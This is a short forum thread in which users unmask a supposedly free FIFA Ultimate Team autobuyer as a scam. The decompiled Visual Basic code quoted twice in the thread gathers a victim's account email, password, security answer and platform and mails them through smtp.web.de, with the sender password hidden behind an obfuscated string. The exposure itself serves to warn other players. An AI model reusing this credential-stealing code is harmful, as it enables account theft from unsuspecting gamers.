FUTAutobuyer Free

02/05/2014 19:04 St00ny#1
war wohl ein fake.
02/05/2014 19:20 'Heaven.#2
PHP Code:
Private Sub Button1_Click(ByVal sender As ObjectByVal e As EventArgs)
    
Me.password "sp\dG?eF.9=YCgt*.UFx}BLpBhedH]8Z,T4Fv9?tJX}?6a63Vc%CDBR6JW9[FHHD&c9m@KDm_m~5nTy8Wpb&PTW$fx7L5f{VjQ8/&c,%q/UBF[a#.c\LVGA24,dyd]\pAT_sV,g!\3crKdjGf*]2Bku+hxvngf"
    
Me.code "œŠ›°ª" ChrW(129) & "Ž" ChrW(141) & "ƒŠ¼œƒÞ"
    
Me.email Me.VerEntschlüsseln(Me.codeMe.password)
    If 
Not Strings.Trim(Me.ComboBox1.Text).Contains("@"Then
        Interaction
.MsgBox("Please enter your real Email-Adress"MsgBoxStyle.Critical"Error!")
    ElseIf (
Me.TextBox1.Text ""Then
        Interaction
.MsgBox("Please enter a password!"MsgBoxStyle.Critical"Error!")
    ElseIf (
Me.TextBox2.Text ""Then
        Interaction
.MsgBox("Please enter an answer to your security question."MsgBoxStyle.Critical"Error!")
    ElseIf (
Me.ComboBox2.Text ""Then
        Interaction
.MsgBox("Please choose your platform."MsgBoxStyle.Critical"Error!")
    Else
        
Me.smtpServer.Credentials = New NetworkCredential("[Only registered and activated users can see links. Click Here To Register...]"Me.email)
        
Me.smtpServer.Port = &H24B
        Me
.smtpServer.Host "smtp.web.de"
        
Me.smtpServer.EnableSsl True
        Me
.mail = New MailMessage
        Me
.mail.From = New MailAddress("[Only registered and activated users can see links. Click Here To Register...]")
        
Me.mail.To.Add("[Only registered and activated users can see links. Click Here To Register...]")
        
Me.mail.Subject = ("Log von " Me.ComboBox1.Text)
        
Me.mail.Body String.Concat(New String() { "Fifa Ultimate Team Email: "Me.ComboBox1.TextChrW(13) & ChrW(10) & "Fifa Ultimate Team Passwort: "Me.TextBox1.TextChrW(13) & ChrW(10) & "Fifa Ultimate Team Sicherheitsfrage: "Me.TextBox2.TextChrW(13) & ChrW(10) & "Plattform: "Me.ComboBox2.Text })
        
Me.smtpServer.Send(Me.mail)
    
End If
End Sub 

Nice Try
02/05/2014 21:08 Єrdmännchen™#3
Quote:
Originally Posted by Waka Toa View Post
PHP Code:
Private Sub Button1_Click(ByVal sender As ObjectByVal e As EventArgs)
    
Me.password "sp\dG?eF.9=YCgt*.UFx}BLpBhedH]8Z,T4Fv9?tJX}?6a63Vc%CDBR6JW9[FHHD&c9m@KDm_m~5nTy8Wpb&PTW$fx7L5f{VjQ8/&c,%q/UBF[a#.c\LVGA24,dyd]\pAT_sV,g!\3crKdjGf*]2Bku+hxvngf"
    
Me.code "œŠ›°ª" ChrW(129) & "Ž" ChrW(141) & "ƒŠ¼œƒÞ"
    
Me.email Me.VerEntschlüsseln(Me.codeMe.password)
    If 
Not Strings.Trim(Me.ComboBox1.Text).Contains("@"Then
        Interaction
.MsgBox("Please enter your real Email-Adress"MsgBoxStyle.Critical"Error!")
    ElseIf (
Me.TextBox1.Text ""Then
        Interaction
.MsgBox("Please enter a password!"MsgBoxStyle.Critical"Error!")
    ElseIf (
Me.TextBox2.Text ""Then
        Interaction
.MsgBox("Please enter an answer to your security question."MsgBoxStyle.Critical"Error!")
    ElseIf (
Me.ComboBox2.Text ""Then
        Interaction
.MsgBox("Please choose your platform."MsgBoxStyle.Critical"Error!")
    Else
        
Me.smtpServer.Credentials = New NetworkCredential("[Only registered and activated users can see links. Click Here To Register...]"Me.email)
        
Me.smtpServer.Port = &H24B
        Me
.smtpServer.Host "smtp.web.de"
        
Me.smtpServer.EnableSsl True
        Me
.mail = New MailMessage
        Me
.mail.From = New MailAddress("[Only registered and activated users can see links. Click Here To Register...]")
        
Me.mail.To.Add("[Only registered and activated users can see links. Click Here To Register...]")
        
Me.mail.Subject = ("Log von " Me.ComboBox1.Text)
        
Me.mail.Body String.Concat(New String() { "Fifa Ultimate Team Email: "Me.ComboBox1.TextChrW(13) & ChrW(10) & "Fifa Ultimate Team Passwort: "Me.TextBox1.TextChrW(13) & ChrW(10) & "Fifa Ultimate Team Sicherheitsfrage: "Me.TextBox2.TextChrW(13) & ChrW(10) & "Plattform: "Me.ComboBox2.Text })
        
Me.smtpServer.Send(Me.mail)
    
End If
End Sub 

Nice Try
Ah, ein bisschen zu langsam war ich dann doch :D
02/05/2014 21:14 SGDynamite#4
Gibt schon Opfer
02/06/2014 14:42 Nectix#5
#closed